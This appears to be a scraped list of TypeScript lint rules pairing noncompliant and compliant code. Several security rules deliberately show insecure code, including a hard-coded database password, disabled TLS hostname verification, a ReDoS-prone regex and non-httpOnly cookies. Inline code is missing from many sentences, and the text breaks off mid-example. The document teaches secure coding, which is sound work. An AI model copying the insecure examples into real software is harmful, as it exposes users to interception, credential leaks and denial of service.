While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance. Noncompliant Code Exampleif (condition) // Noncompliant executeSomething(); Compliant Solutionif (condition) { executeSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2870 |
The The proper method for removing an element at a certain index would be:
Noncompliant Code Examplevar myArray = ['a', 'b', 'c', 'd']; delete myArray[2]; // Noncompliant. myArray => ['a', 'b', undefined, 'd'] console.log(myArray[2]); // expected value was 'd' but output is undefined Compliant Solutionvar myArray = ['a', 'b', 'c', 'd']; // removes 1 element from index 2 removed = myArray.splice(2, 1); // myArray => ['a', 'b', 'd'] console.log(myArray[2]); // outputs 'd' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1541 |
The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4139 |
If you have an iterable, such as an array, set, or list, your best option for looping through its values is the Noncompliant Code Exampleconst arr = [4, 3, 2, 1]; for (let value in arr) { // Noncompliant console.log(value); // logs 0, 1, 2, 3 } Compliant Solutionconst arr = [4, 3, 2, 1]; for (let value of arr) { console.log(value); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4137 |
Type assertion can be done in two ways: with Noncompliant Code Examplevar foo = <any>"foo"; // Noncompliant Compliant Solutionvar foo = "foo" as any; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code Exampleswitch (variable) { case 0: doSomething(); break; default: doSomethingElse(); break; } Compliant Solutionif (variable == 0) { doSomething(); } else { doSomethingElse(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4138 |
If you have an iterable, such as an array, set, or list, your best option for looping through its values is the Noncompliant Code Exampleconst arr = [4, 3, 2, 1]; for (let i = 0; i < arr.length; i++) { // Noncompliant console.log(arr[i]); } Compliant Solutionconst arr = [4, 3, 2, 1]; for (let value of arr) { console.log(value); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (var i = 0; i < length; i++) {} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty. Moreover |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S109 |
A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc. Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time. That is why magic numbers must be demystified by first being assigned to clearly named variables before being used. -1, 0 and 1 are not considered magic numbers. Noncompliant Code Examplefunction doSomething() { for (let i = 0; i < 4; i++) { // Noncompliant, 4 is a magic number // ... } } Compliant Solutionfunction doSomething() { const numberOfCycles = 4; for (let i = 0; i < numberOfCycles; i++) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S106 |
Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users. Noncompliant Code Exampleconsole.log(password_entered); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: function doSomething(param1, param2, param3, param4, param5) { ... } Compliant Solutionfunction doSomething(param1, param2, param3, param4) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5693 |
Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevents DoS attacks. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
It is recommended to customize the rule with the limit values that correspond to the web application. Sensitive Code Exampleformidable file upload module: const form = new Formidable(); form.maxFileSize = 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB const formDefault = new Formidable(); // Sensitive, the default value is 200MB multer (Express.js middleware) file upload module: let diskUpload = multer({ storage: diskStorage, limits: { fileSize: 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB } }); let diskUploadUnlimited = multer({ // Sensitive: the default value is no limit storage: diskStorage, }); body-parser module: // 4MB is more than the recommended limit of 2MB for non-file-upload requests let jsonParser = bodyParser.json({ limit: "4mb" }); // Sensitive let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "4mb" }); // Sensitive Compliant Solutionformidable file upload module: const form = new Formidable(); form.maxFileSize = 8000000; // Compliant: 8MB multer (Express.js middleware) file upload module: let diskUpload = multer({ storage: diskStorage, limits: { fileSize: 8000000 // Compliant: 8MB } }); body-parser module: let jsonParser = bodyParser.json(); // Compliant, when the limit is not defined, the default value is set to 100kb let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "2mb" }); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5691 |
Hidden files are created automatically by many tools to save user-preferences, well-known examples are Outside of the user environment, hidden files are sensitive because they are used to store privacy-related information or even hard-coded secrets. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleExpress.js serve-static middleware: let serveStatic = require("serve-static"); let app = express(); let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'allow'}); // Sensitive app.use(serveStaticMiddleware); Compliant SolutionExpress.js serve-static middleware: let serveStatic = require("serve-static"); let app = express(); let serveStaticMiddleware = serveStatic('public', { 'index': false, 'dotfiles': 'ignore'}); // Compliant: ignore or deny are recommended values let serveStaticDefault = serveStatic('public', { 'index': false}); // Compliant: by default, "dotfiles" (file or directory that begins with a dot) are not served (with the exception that files within a directory that begins with a dot are not ignored), see serve-static module documentation app.use(serveStaticMiddleware); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S909 |
Noncompliant Code Examplefor (i = 0; i < 10; i++) { if (i == 5) { continue; /* Noncompliant */ } alert("i = " + i); } Compliant Solutionfor (i = 0; i < 10; i++) { if (i != 5) { /* Compliant */ alert("i = " + i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S905 |
Any statement (other than a null statement, which means a statement containing only a semicolon Noncompliant Code Examplea == 1; // Noncompliant; was assignment intended? var msg = "Hello, " "World!"; // Noncompliant; have we forgotten '+' operator on previous line? See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1535 |
The Therefore, the body of every Noncompliant Code Examplefor (name in object) { doSomething(name); // Noncompliant } Compliant Solutionfor (name in object) { if (object.hasOwnProperty(name)) { doSomething(name); } } ExceptionsLoops used to clone objects are ignored. for (prop in obj) { a[prop] = obj[prop]; // Compliant by exception } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Examplefunction setName(name) { name = name; } Compliant Solutionfunction setName(name) { this.name = name; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1537 |
Most browsers parse and discard a meaningless, trailing comma. Unfortunately, that's not the case for Internet Explorer below version 9, which throws a meaningless error. Therefore trailing commas should be eliminated. Noncompliant Code Examplevar settings = { 'foo' : oof, 'bar' : rab, // Noncompliant - trailing comma }; Compliant Solutionvar settings = { 'foo' : oof, 'bar' : rab }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1539 |
Even though it may be a good practice to enforce JavaScript strict mode, doing so could result in unexpected behaviors on browsers that do not support it yet. Using this feature should therefore be done with caution and with full knowledge of the potential consequences on browsers that do not support it. Noncompliant Code Examplefunction strict() { 'use strict'; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4124 |
Declare a constructor inside an Instead, the intent was probably to specify that the type did not originate from a TypeScript file. In such cases, just use the Noncompliant Code Exampleinterface TypeDeclaredElsewhere { someMethod(): number; new(b: boolean): TypeDeclaredElsewhere; // Noncompliant constructor(b: boolean): void; // Noncompliant } Compliant Solutiondeclare class TypeDeclaredElsewhere { someMethod(): number; constructor(b: boolean); }
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplevar mysql = require('mysql'); var connection = mysql.createConnection( { host:'localhost', user: "admin", database: "project", password: "mypassword", // sensitive multipleStatements: true }); connection.connect(); Compliant Solutionvar mysql = require('mysql'); var connection = mysql.createConnection({ host: process.env.MYSQL_URL, user: process.env.MYSQL_USERNAME, password: process.env.MYSQL_PASSWORD, database: process.env.MYSQL_DATABASE }); connection.connect(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4123 |
It is possible to use This rule raises an issue when an Noncompliant Code Examplelet x = 42; await x; // Noncompliant Compliant Solutionlet x = new Promise(resolve => resolve(42)); await x; let y = p ? 42 : new Promise(resolve => resolve(42)); await y; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1530 |
While most script engines support function declarations within blocks, from browser to browser, the implementations are inconsistent with each other. Noncompliant Code Exampleif (x) { function foo() {} //foo is hoisted in Chrome, Firefox and Safari, but not in Edge. } Compliant Solutionif (x) { const foo = function() {} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1774 |
While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more
verbose Noncompliant Code Examplefunction foo(a) { var b = (a === 'A') ? 'is A' : 'is not A'; // Noncompliant // ... } Compliant Solutionfunction foo(a) { var b; if (a === 'A') { b = 'is A'; } else { b = 'is not A'; } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1533 |
The use of wrapper objects for primitive types is gratuitous, confusing and dangerous. If you use a wrapper object constructor for type conversion,
just remove the Noncompliant Code Examplelet x = new Number("0"); if (x) { alert('hi'); // Shows 'hi'. } Compliant Solutionlet x = Number("0"); if (x) { alert('hi'); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S139 |
This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted. Noncompliant Code Examplevar a1 = b + c; // This is a trailing comment that can be very very long Compliant Solution// This very long comment is better placed before the line of code var a2 = b + c; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. ExceptionsThis function ignores Immediately Invoked Function Expressions (IIFE), which are functions that are created and invoked without ever being assigned a name. (function () { // Ignored by this rule function open() { // Classic function declaration; not ignored // ... } function read() { // ... } function readlines() { // ... } })(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2251 |
A Noncompliant Code Examplefor (var i = 0; i < strings.length; i--) { // Noncompliant; //... } Compliant Solutionfor (var i = 0; i < strings.length; i++) { //... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S135 |
Restricting the number of One Noncompliant Code Examplefor (var i = 1; i <= 10; i++) { // Noncompliant - 2 continue - one might be tempted to add some logic in between if (i % 2 == 0) { continue; } if (i % 3 == 0) { continue; } alert("i = " + i); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4790 |
Cryptographic hash algorithms such as Ask Yourself WhetherThe hashed value is used in a security context like:
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesSafer alternatives, such as Sensitive Code Exampleconst crypto = require("crypto"); const hash = crypto.createHash('sha1'); // Sensitive Compliant Solutionconst crypto = require("crypto"); const hash = crypto.createHash('sha256'); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5527 |
To establish a SSL/TLS connection not vulnerable to man-in-the-middle attacks, it's essential to make sure the server presents the right certificate. The certificate's hostname-specific data should match the server hostname. It's not recommended to re-invent the wheel by implementing custom hostname verification. TLS/SSL libraries provide built-in hostname verification functions that should be used. Noncompliant Code Examplehttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Noncompliant request module: let socket = request.get({ url: 'https://www.example.com', secureProtocol: 'TLSv1_2_method', checkServerIdentity: function() {} // Noncompliant: hostname is not verified }); Compliant Solutionhttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method' }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant: default checkServerIdentity function is secure tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', checkServerIdentity: (servername, peer) => { if (servername !== "www.example.com") { return new Error ('Error'); // Compliant: there is at least one check } } }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Compliant request module: let socket = request.get({ url: 'https://www.example.com/', secureProtocol: 'TLSv1_2_method' // Compliant }); // Compliant: default checkServerIdentity function is secure See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2933 |
Noncompliant Code Exampleclass Person { private _birthYear: number; // Noncompliant constructor(birthYear: number) { this._birthYear = birthYear; } } Compliant Solutionclass Person { private readonly _birthYear: number; constructor(birthYear: number) { this._birthYear = birthYear; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2814 |
This rule checks that a declaration doesn't use a name that is already in use. Indeed, it is possible to use the same symbol multiple times as either a variable or a function, but doing so is likely to confuse maintainers. Further it's possible that such reassignments are made in error, with the developer not realizing that the value of the variable is overwritten by the new assignment. This rule also applies to function parameters. Noncompliant Code Examplevar a = 'foo'; function a() {} // Noncompliant console.log(a); // prints "foo" function myFunc(arg) { var arg = "event"; // Noncompliant, argument value is lost } fun(); // prints "bar" function fun() { console.log("foo"); } fun(); // prints "bar" function fun() { // Noncompliant console.log("bar"); } fun(); // prints "bar" Compliant Solutionvar a = 'foo'; function otherName() {} console.log(a); function myFunc(arg) { var newName = "event"; } fun(); // prints "foo" function fun() { print("foo"); } fun(); // prints "foo" function printBar() { print("bar"); } printBar(); // prints "bar" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1848 |
There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production. If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate method and called directly. Noncompliant Code Examplenew MyConstructor(); // Non-Compliant Compliant Solutionvar something = new MyConstructor(); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2817 |
The Web SQL Database standard never saw the light of day. It was first formulated, then deprecated by the W3C and was only implemented in some browsers. (It is not supported in Firefox or IE.) Further, the use of a Web SQL Database poses security concerns, since you only need its name to access such a database. Noncompliant Code Examplevar db = window.openDatabase("myDb", "1.0", "Personal secrets stored here", 2*1024*1024); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example// === Built-in NodeJS modules === const http = require('http'); const https = require('https'); http.createServer(function(req, res) { res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive }); https.createServer(function(req, res) { res.setHeader('Set-Cookie', ['type=ninja', 'lang=js']); // Sensitive }); // === ExpressJS === const express = require('express'); const app = express(); app.use(function(req, res, next) { res.cookie('name', 'John'); // Sensitive }); // === In browser === // Set cookie document.cookie = "name=John"; // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2376 |
When an object is created with a setter for a property but without a getter for that property, the property is inaccessible and is thus useless. This rule also enforces the reverse situation (getter but no setter). Noncompliant Code Examplevar obj = { set foo(value) { this.fooval = value; } }; Compliant Solutionvar obj = { set foo(value) { this.fooval = value; }, get foo() { return this.fooval; } }; or var obj = { setFoo(value) { // a standard method, not a setter this.fooval = value; } }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2138 |
Noncompliant Code Examplevar myObject = {}; // ... myObject.fname = undefined; // Noncompliant // ... if (myObject.lname == undefined) { // property not yet created } if (myObject.fname == undefined) { // no real way of knowing the true state of myObject.fname } Compliant Solutionvar myObject = {}; // ... myObject.fname = null; // ... if (myObject.lname == undefined) { // property not yet created } if (myObject.fname == undefined) { // no real way of knowing the true state of myObject.fname } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4798 |
Having default value for optional boolean parameters makes the logic of function when missing that parameter more evident. When providing a default value is not possible, it is better to split the function into two with a clear responsibility separation. Noncompliant Code Examplefunction countPositiveNumbers(arr: number[], countZero?: boolean) { // Noncompliant, default value for 'countZero' should be defined // ... } function toggleProperty(property: string, value?: boolean) { // Noncompliant, a new function should be defined if (value !== undefined) { setProperty(property, value); } else { setProperty(property, calculateProperty()); } } Compliant Solutionfunction countPositiveNumbers(arr: number[], countZero = false) { // ... } function toggleProperty(property: string, value: boolean) { setProperty(property, value); } function togglePropertyToCalculatedValue(property: string) { setProperty(property, calculateProperty()); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2137 |
JavaScript has special identifiers that, while not reserved, still should not be used as identifiers. They include:
These words should not be bound or assigned, because doing so would overwrite the original definitions of these identifiers. What's more, assigning or binding some of these names will generate an error in JavaScript strict mode code. Noncompliant Code Exampleeval = 17; // Noncompliant arguments++; // Noncompliant ++eval; // Noncompliant var obj = { set p(arguments) { } }; // Noncompliant var eval; // Noncompliant try { } catch (arguments) { } // Noncompliant function x(eval) { } // Noncompliant function arguments() { } // Noncompliant var y = function eval() { }; // Noncompliant var f = new Function("arguments", "return 17;"); // Noncompliant function fun() { if (arguments.length == 0) { // Compliant // do something } } Compliant Solutionresult = 17; args++; ++result; var obj = { set p(arg) { } }; var result; try { } catch (args) { } function x(arg) { } function args() { } var y = function fun() { }; var f = new Function("args", "return 17;"); function fun() { if (arguments.length == 0) { // do something } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S128 |
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior. Noncompliant Code Exampleswitch (myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? doSomething(); default: doSomethingElse(); break; } Compliant Solutionswitch (myVariable) { case 1: foo(); break; case 2: doSomething(); break; default: doSomethingElse(); break; } ExceptionsThis rule is relaxed in the following cases: switch (myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: doSomething(); break; case 2: // Use of return statement return; case 3: // Ends with comment when fall-through is intentional console.log("this case falls through") // fall through case 4: // Use of throw statement throw new IllegalStateException(); case 5: // Use of continue statement continue; default: // For the last case, use of break statement is optional doSomethingElse(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } Compliant Solutionif (x == 0) { doSomething(); } else if (x == 1) { doSomethingElse(); } else { throw "Unexpected value for x"; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S124 |
This rule template can be used to create rules which will be triggered when a comment matches a given regular expression. For example, one can create a rule with the regular expression |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5759 |
Users often connect to web servers through HTTP proxies. Proxy can be configured to forward the client IP address via the IP address is a personal information which can identify a single user and thus impact his privacy. Ask Yourself Whether
There is a risk if you answered yes to this question. Recommended Secure Coding PracticesUser IP address should not be forwarded unless the application needs it, as part of an authentication, authorization scheme or log management for examples. Sensitive Code Examplevar httpProxy = require('http-proxy'); httpProxy.createProxyServer({target:'http://localhost:9000', xfwd:true}) // Noncompliant .listen(8000); var express = require('express'); const { createProxyMiddleware } = require('http-proxy-middleware'); const app = express(); app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true, xfwd: true })); // Noncompliant app.listen(3000); Compliant Solutionvar httpProxy = require('http-proxy'); // By default xfwd option is false httpProxy.createProxyServer({target:'http://localhost:9000'}) // Compliant .listen(8000); var express = require('express'); const { createProxyMiddleware } = require('http-proxy-middleware'); const app = express(); // By default xfwd option is false app.use('/proxy', createProxyMiddleware({ target: 'http://localhost:9000', changeOrigin: true})); // Compliant app.listen(3000); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code Exampleconst regex = /(a+)+b/; // Sensitive const regex2 = new RegExp("(a+)+b"); // Sensitive str.search("(a+)+b"); // Sensitive str.match("(a+)+b"); // Sensitive str.split("(a+)+b"); // Sensitive Note: String.matchAll does not raise any issue as it is not supported by NodeJS. ExceptionsSome corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplecookie-session module: let session = cookieSession({ httpOnly: false,// Sensitive }); // Sensitive express-session module: const express = require('express'), const session = require('express-session'), let app = express() app.use(session({ cookie: { httpOnly: false // Sensitive } })), cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { httpOnly: false // Sensitive }); // Sensitive csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { httpOnly: false }}); // Sensitive Compliant Solutioncookie-session module: let session = cookieSession({ httpOnly: true,// Compliant }); // Compliant express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { httpOnly: true // Compliant } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { httpOnly: true // Compliant }); // Compliant csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ 